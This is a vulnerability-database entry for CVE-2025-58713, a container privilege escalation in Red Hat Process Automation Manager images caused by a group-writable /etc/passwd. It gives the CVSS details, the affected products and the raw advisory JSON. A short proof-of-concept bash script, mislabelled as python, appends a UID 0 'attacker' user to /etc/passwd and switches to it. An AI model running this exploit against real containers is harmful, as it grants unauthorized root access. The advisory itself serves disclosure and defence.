Security Vulnerability Report
中文
CVE-2025-58713 CVSS 6.4 MEDIUM

CVE-2025-58713

Published: 2026-04-08 14:16:26
Last Modified: 2026-05-04 13:48:09

Description

A container privilege escalation flaw was found in certain Red Hat Process Automation Manager images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:process_automation_manager:7.0:*:*:*:*:*:*:* - VULNERABLE
Red Hat Process Automation Manager (Specific affected images)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2025-58713: Container Privilege Escalation via /etc/passwd # This script checks for group-writable /etc/passwd and attempts to add a root user. if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is writable. Exploiting..." # Append a new user with UID 0 (root privileges) # Format: username:password:UID:GID:gecos:home:shell echo "attacker:x:0:0:root:/root:/bin/bash" >> /etc/passwd echo "[+] User 'attacker' added with UID 0." # Attempt to switch to the new root user su attacker else echo "[-] /etc/passwd is not writable or permission denied." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58713", "sourceIdentifier": "[email protected]", "published": "2026-04-08T14:16:26.433", "lastModified": "2026-05-04T13:48:09.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain Red Hat Process Automation Manager images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:process_automation_manager:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "4857DA21-9127-4F6A-9DA1-96678D9F9472"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-58713", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2394419", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}